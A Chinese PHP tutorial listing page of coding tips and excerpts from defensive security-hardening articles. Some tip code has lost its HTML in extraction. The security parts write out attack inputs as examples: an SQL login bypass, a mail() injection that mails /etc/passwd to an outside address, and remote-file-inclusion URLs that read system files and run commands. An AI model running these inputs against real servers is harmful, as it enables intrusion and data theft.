首页 > php100

PHP 应用技巧七则

PHP (Hypertext Preprocessor)是一种 HTML 内嵌式的语言,也是目前比较流行的网页编程语言。它支持的后端数据库种类凡多,几乎含盖了当前的所有数据库系统。同时它包含了一般语言有的数学运算、时间处理、文件系统、字符串处理、行程处理等功能,再加上它是免费的系统,使得成本与效益比,几乎等于无限大。
下面是我在用PHP做网站时,总结出一些小技巧,拿出来飨以大家。

1、判断某个函数是否被支持
由于在PHP中我们可以灵活的使用增加或者减少php支持的模块,所以有的时候我们在使用PHP之前,总是会首先确定某个模块是否被加载,比如,看看GD图形模块是否被支持,可以用下面的这段代码:
if(!function_exists('imagecreate')) {
die('这个主机目前不支持GD图形模块');
}
?>
同样的道理,我们可以利用类似的代码,测试 MSSQL,OCI等模块是否被支持。

2、在字符串中把网址改成超级链接
在网页中提交表单时,经常在提交的说明文本中出现一些网址,比如个人主页等信息,如果在显示时自动将其转为超级链接,那将是一件很惬意的事,就像用WORD编辑文档时自动出现超级链接一样。下面这段代码就很好的实现了其功能。
$string = "连接赛迪网http://www.ccidnet.com 站点";
//注意:连接后需要有个空格或回车。
$string = eregi_replace("http://([^ ,rn]*)","<a href= tarrget=_blank></a>",$string);
$string = eregi_replace("ftp://([^ ,rn]*)","<a href= target=_blank></a>",$string);
print $string;
?>

3、用PHP处理多个同名复选框
如果一个表单中有多个同名复选框,在提交到php时却只有一个值,而并不像asp那样是一串用逗号分割的值。解决的方法是利用数组。将复选框的name后面加上[],例如:checkbox value=1 /> 改为:。这样php将得到一个叫pp的阵列。在提交的表单中先用Count(pp)来判断数组的个数即选中的个数,然后对数组进行分别处理就行了。
同样的道理也适应于处理下拉框的多选问题。

4、利用static实现表格的颜色隔行显示
我们用PHP从数据库查询数据,并将结果输出到浏览器上,如果结果有很多行,表格的bgcolor(背景色)如果全是单色的,浏览者会感觉不太舒服。那么怎样做使表格各行的颜色不同呢?请看下面代码:
function getcolor()
{
static $colorvalue;//定义一个静态变量
if($colorvalue=="#eeeeee")
$colorvalue="#F5F5F5";
else $colorvalue="#eeeeee";
return($colorvalue);
}
print("<table border=1>n");//下面输出10行
for($i=0;$i<10;$i++)
{
$bcolor=getcolor();//换背景颜色
print("<tr bgcolor=$bcolor>n");
print("<td>$i</td>n");
print("</tr>");
}
print("</table>n");
?>
说明:
此程序中定义了一个静态变量static $colorvalue意思是在函数调用结束后,此变量$colorvalue还保留值,没有消失。当再次调用getcolor()函数时,变量$colorvalue的值是上次函数调用结束时$colorvalue的值。

5、在php中避免重复引用的办法
大家知道,在C语言中,我们可以用#define来定义一个MACRO名字,通过检查是否该MACRO名字定义过来决定该头文件是否被引用。在PHP中也有同样的问题,比如:A引用B,C, B引用C,如果不采取措施,C将被引用2次。这样可能会导致一些奇怪的问题。解决办法:定义一个全局变量,并且通过检查该变量是否定义过来解决这个问题.办法很简单,类似C。 只是这个全局变量我建议都用['user_packages'] ['headfilename']的命名规则。
if (!empty($GLOBALS['FOODTAILS']['GLOBALDEFINE'])) return;
$GLOBALS['FOODTAILS']['GLOBALDEFINE'] = true;
class FOODTAILS {...
};
?>
另外,在主程序中尽量采用require_once "headfiles.php"; 以避免重复引用。

6、如何避免表单的重复提交
我们在做网站时,常常为一些灌水文章而烦恼。有时,由于网络状况等原因用户不知道提交是否成功,也会再次提交同一份表单,这就造成了表单的重复提交不起。有一个简单的方法可以避免同一表单的重复提交。 首先,先定义一个session变量用来保存一个表单的提交序列号。这里我定义为“$userLastAction”。然后在表单里加入一个hidden变量,把值设为$userLastAction+1:> 最后,在处理提交之前判断表单是否已被提交过。
if($lastAction>$userLastAction){
$userLastAction++; // 序列号加1
// 处理表单数据
}
?>
这个技巧的主要原理是不允许用户回退后再次提交,也就是说回退后修改再提交也是不允许的,但是还是不能避免Ctrl-C/Ctrl-V的灌水办法。

7、下载文件的下载次数回填
我们在下载软件时,经常会看到此软件的下载统计次数,而这些统计数给网站管理员分析软件的受欢迎程度带来了方便。其实现原理是:在后端数据库中存放软件的唯一标识和下载数,在用户下载软件时,首先更新对应软件的下载次数即下载次数加1,然后再到下载文件上正式开始下载。


阅读全文

PHP编程常用技巧四则

1.配置PHP文件目录

作为服务器端解释执行的脚本语言,PHP程序放置在某个服务器可以访问的目录下,一般可以通过修改Apache的httpd.conj进行配置,例如我们在该文件中的一句:
Alias /test/ d:/phpwebsite/php/ 那么在浏览器端输入:“http://localhost/test/+PHP文件名”就可以访问d:/phpwebsite/php/下的PHP文件了;可见该行不过是为存放PHP文件的目录起一个别名。
其次,还可以通过指定DocumentRoot路径得到存放服务器文件的目录,在httpd.conj找到以下两行,其中的路径可以随意指定,你的PHP文件也可以放在该目录下,服务器同样可以运行它们,如“http://localhost/+PHP文件名”。
一般的,将PHP文件放在同一个地方比较好,可以方便管理,而其他文件放在另外一个地方。
DocumentRoot C:/usr/bin/html/
2.服务器端目录的索引文件

阅读全文

PHP程序员一般都忽略了的几点精华

我发现很多的PHP程序员,尤其是学习还不是很久的,都不知道PHP的精华所在。Perl当年如何在商界出名?其强大的正则表达式。而PHP呢?他是一门从Unix下发展起来的语言,当然也就继承了Perl的很多特点,同时C的优点都有。快速、简洁、明了,尤其是C程序员,PHP是至爱,我就是深爱着“PHP”(都忘了女友了:))。这里,我想来写一篇PHP的变量、数组应用技巧和PHP的正则表达式、PHP的模板应用,以后有时间再写PHP与COM、PHP与XML的完全结合。

阅读全文

在 PHP 中用描点法“绘制”中文

 

前言:
现在,越来越多的人喜欢上网了,越来越多的人拥有了自己的个人主页。随着各种自动化软件工具的出现,制作网页越来越简单。但,由于特效随处可得,创新的东西,越来越少。说不定,哪天,你会发现某个网站上的计数器和自己的一模一样。网页越做越老练。网页上的东西,也越来越多,越来越丰富。
设问:

阅读全文

用PHP 4.2书写安全的脚本

在很长一段时间内,PHP作为服务器端脚本语言的最大卖点之一就是会为从表单提交的值自动建立一个全局变量。在PHP 4.1中,PHP的制作者们推荐了一个访问提交数据的替代手段。在PHP 4.2中,他们取消了那种老的做法!正如我将在这篇文章中解释的那样,作出这样的变化的目的是出于安全性的考虑。我们将研究PHP在处理表单提交及其它数据时的新的做法,并说明为什么这样做会提高代码的安全性。

这里有什么错误?

阅读全文

通过对php一些服务器端特性的配置加强php的安全

这篇文章我们来通过对php的一些服务器端特性来进行配置加强php的安全。写cgi脚本的时候我们的确一定注意各种安全问题,对用户输入进行严格的过滤,但是常在岸边走哪有不湿鞋,吃烧饼哪有不掉芝麻,人有失蹄马有失手,连著名的phpnuke、phpMyAdmin等程序都出现过很严重的问题,更何况象我等小混混写的脚本。所以现在我们假设php脚本已经出现严重问题,比如象前一阵子 phpnuke的可以上传php脚本的大问题了,我们如何通过对服务器的配置使脚本出现如此问题也不能突破系统。
1、编译的时候注意补上已知的漏洞
从4.0.5开始,php的mail函数加入了第五个参数,但它没有好好过滤,使得php应用程序能突破safe_mode的限制而去执行命令。所以使用4.0.5和4.0.6的时候在编译前我们需要修改php源码包里ext/standard/mail.c文件,禁止mail函数的第五参数或过滤shell字符。在mail.c文件的第152行,也就是下面这行:
if (extra_cmd != NULL) {
后面加上extra_cmd=NULL;或extra_cmd = php_escape_shell_cmd(extra_cmd);然后编译php那么我们就修补了这个漏洞。
2、修改php.ini配置文件
以php发行版的php.ini-dist为蓝本进行修改。
1)Error handling and logging
在Error handling and logging部分可以做一些设定。先找到:
display_errors = On
php缺省是打开错误信息显示的,我们把它改为:
display_errors = Off
关闭错误显示后,php函数执行错误的信息将不会再显示给用户,这样能在一定程度上防止攻击者从错误信息得知脚本的物理位置,以及一些其它有用的信息,起码给攻击者的黑箱检测造成一定的障碍。这些错误信息可能对我们自己有用,可以让它写到指定文件中去,那么修改以下:
log_errors = Off
改为:
log_errors = On
以及指定文件,找到下面这行:
;error_log = filename
去掉前面的;注释,把filename改为指定文件,如/usr/local/apache/logs/php_error.log
error_log = /usr/local/apache/logs/php_error.log
这样所有的错误都会写到php_error.log文件里。
2)Safe Mode
php的safe_mode功能对很多函数进行了限制或禁用了,能在很大程度解决php的安全问题。在Safe Mode部分找到:
safe_mode = Off
改为:
safe_mode = On
这样就打开了safe_mode功能。象一些能执行系统命令的函数shell_exec()和``被禁止,其它的一些执行函数如:exec(), system(), passthru(), popen()将被限制只能执行safe_mode_exec_dir指定目录下的程序。如果你实在是要执行一些命令或程序,找到以下:
safe_mode_exec_dir =
指定要执行的程序的路径,如:
safe_mode_exec_dir = /usr/local/php/exec
然后把要用的程序拷到/usr/local/php/exec目录下,这样,象上面的被限制的函数还能执行该目录里的程序。
关于安全模式下受限函数的详细信息请查看php主站的说明:
http://www.php.net/manual/en/features.safe-mode.php
3)disable_functions
如果你对一些函数的危害性不太清楚,而且也没有使用,索性把这些函数禁止了。找到下面这行:
disable_functions =
在”=“后面加上要禁止的函数,多个函数用”,“隔开。
3、修改httpd.conf
如果你只允许你的php脚本程序在web目录里操作,还可以修改httpd.conf文件限制php的操作路径。比如你的web目录是/usr/local/apache/htdocs,那么在httpd.conf里加上这么几行:

阅读全文

建立灵巧结构的PHP程序

很早就想写这篇文章了,但一直没有时间完成它。不是说我来告诉大家如何做,我更希望本文只是做为一个引子,与大家来讨论关于如何建立一个有效地、灵活的网络应用程序。
经过了2-3年的网络应用程序开发工作,我的开发经验变得更加生动了,回过头来看我以前为Geocrawler写的代码,简直不敢相信这是我的。由于GPL的原因,在PHPBuilder中的源码也是良莠不齐的。
最近我做为一个有经验的PHP开发者,一直在帮着写SourceForge,我想这显示出了最终结果的一个范围。好的代码应被分成了多个部分,合适的库及函数调用,清楚的数据库结构,站点的每一个部分与其它部分都是相对独立的。
但是,这仍不是最好的。如果我可以重做,我将更多的关注于HTML层与数据层的分离,通过对象及清楚的函数库实现这一点。
优美的图形
我知道经理们喜欢用优美的图形及图表来描述它们,这将给我们留下最好的印象。用这种隐藏在一个结构后的想法,你可以把你的逻辑与外观分离,这意味着任何一个复杂的程序都可以用API/Data Access Layer来表述。
与其你把安全检测、更新的句子等放在HTML层中,不如把它们整体地放在你的API层里。而这个HTML层只含有简单的函数调用和返回的数组、对象或自定的其它什么,以及一些数据库的检索结果的集合等。
如果你这样做了,顶层将是非常的瘦小,你可以方便地创建及维护它。
如下的例子中,这个HTML接口中只有一些API层中的函数的直接调用,一些HTML工具库(它能生成一个弹出框等等),和一些从数据库抽象层中调用的数据库操作方法(你不需要绑定某一个特别的数据库)。
基础
灵活的PHP程序结构最基本的方面有以下几点:
数据库无关性
界面无关性
可移植性
面向对象或至少应由函数库组成
还有其它的?
当然还有一些其它的东西,但我认为那都是太大了,或许你自己能指出它们。

阅读全文

php安全之狗尾续貂

Shaun Clowes的文章Exploiting Common Vulnerabilities in PHP Applications的确写的很棒,
考虑到了很多方面,我这个文章只是狗尾续貂,补充一些其它没怎么提到的问题。本文侧重于解决问题,而不是
攻击。
1、古老的欺骗SQL语句
在默认模式下,即使是你忘了把php.ini拷到/usr/local/lib/php.ini下,php还是打开magic_quotes_gpc=on。
这样所有从GET/POST/Cookie来的变量的单引号()、双引号()、反斜杠backslash()以及空字元NUL
(the null byte)都会被加上反斜杠,以使数据库能够正确查询。
但是在php-4-RC2的时候引入了一个配置文件php.ini-optimized,这个优化的php.ini却是
magic_quotes_gpc=off的。某些网管看到optimized字样也许就会把php.ini-optimized拷到
/usr/local/lib/php.ini,这时就比较危险。象比较简单的验证,假设没有过滤必要的字符:
select * from login where user=$HTTP_POST_VARS[user] and pass=$HTTP_POST_VARS[pass]
我们就可以在用户框和密码框输入1‘ or 1=1通过验证了。这是非常古董的方法了,这个语句会
替换成这样:
select * from login where user=1 or 1=1 and pass=1 or 1=1
因为or 1=1成立,所以通过了。
解决的办法最好就是过滤所有不必要的字符,还有就是推荐对于从GET/POST/Cookie来的并且用在SQL
中的变量加一个自定义的函数:
function gpc2sql($str) {
if(get_magic_quotes_gpc()==1)
return $str;
else
return addslashes($str);
}
主要是为了你的程序能安全移植在各种系统里。
2、mail函数的第五个参数
在php-4.0.5的时候,mail函数引入了第五个参数,用来设置在实际发送邮件的时候增加额外的命令行参数,
但是没有很好的检查特殊SHELL命令字符,所以出现执行命令的大问题。就像手册里的例子:
mail(nobody@aol.com, the subject, $message, From: webmaster@$SERVER_NAME, -fwebmaster@$SERVERNAME);
这个是存在问题的,如果$SERVER_NAME=;mail san@xfocus.org < /etc/passwd就能把机器的密码发送
到我的信箱了。
这里提醒一下,php手册里还有好几个例子存在安全问题的,大家实际使用的时候不要照搬,它只是演示函数的
基本功能,理解了就可以了。
对于mail函数的这个问题,最简单的我们就不用这个第五个参数,要使用就过滤非法的字符如(;),还有就是修改
php源码包的程序ext/standard/mail.c,在if (extra_cmd != NULL) { 前增加如下一行:
extra_cmd=NULL
然后重新编译。
3、UNIX版的require, include函数
win版本的require和include函数是不支持HTTP和FTP远程文件包含的,而UNIX版本默认都是支持远程包含文件。
require和include不管你是什么扩展名的,把你包含进来就作为程序的一部分来执行。
我们在写程序的时候为了程序的模块化,以及程序的可移植性,不可避免的用到很多require或include函数,
而且有时用变量作为参数,比如:include($something); 如果这时用户能控制$something参数,而这个
参数又没有过滤,那就惨拉。
首先可以看任何web用户有读权限的文件,假设这个程序叫http://victim/test.php,这样我们就可以用如下
url: http://victim/test.php?something=/etc/passwd 看到/etc/passwd文件。
另外可以利用其远程文件包含的功能执行命令。比如我在www.xfocus.org下建立一个文件test.php,内容是:
,那么我就可以用如下的url:
http://victim/test.php?something=http://www.xfocus.org/test.php?cmd=uname这种方式运行任
意的命令。
phpMyAdmin也出现了这个问题,我们可以用它看任何我们想看的文件。但是它在include前,先用file_exist
函数判断文件是否存在,而这个file_exist是不支持远程文件的,所以上面第二种办法无法直接使用。但是我们
可以利用apache的日志功能,请求一个带php代码的url,这样,something指定为apache的日志也可以执行命
令了,但是apache的日志通常比较大,有太多杂乱信息。
http://www.securereality.com.au/sradv00008.txt提到的办法比较巧妙,用file upload的方式把本地
的执行命令的脚本上传,会在服务器的文件上传临时目录里产生php8Ta02I之类的文件名,由于这时文件是存在的
,所以能通过file_exist函数,从而执行上传文件里的执行脚本。
所以对于include, require函数的使用一定要小心,特别是以包含的文件以参数指定这种方式,参数绝对不能
让用户来控制。还有通过修改php.ini文件去掉远程文件包含这个功能。这个在php-4.0.3以前用
disable-url-fopen-wrapper 在以后的版本用allow_url_fopen = off来关闭。
4、disable_function
在php-4.0.1,php.ini里引入了一项功能disable_functions , 这个功能比较有用,可以用它禁止一些函数。
比如在php.ini里加上disable_functions = passthru exec system popen 那么在执行这些函数的时候
只会提示Warning: system() has been disabled for security reasons.
唉,但是也不是没有办法执行系统命令了。因为php采用了很多perl的特性,比如还可以用(`)来执行命令:
$output = `ls -al`;
echo

阅读全文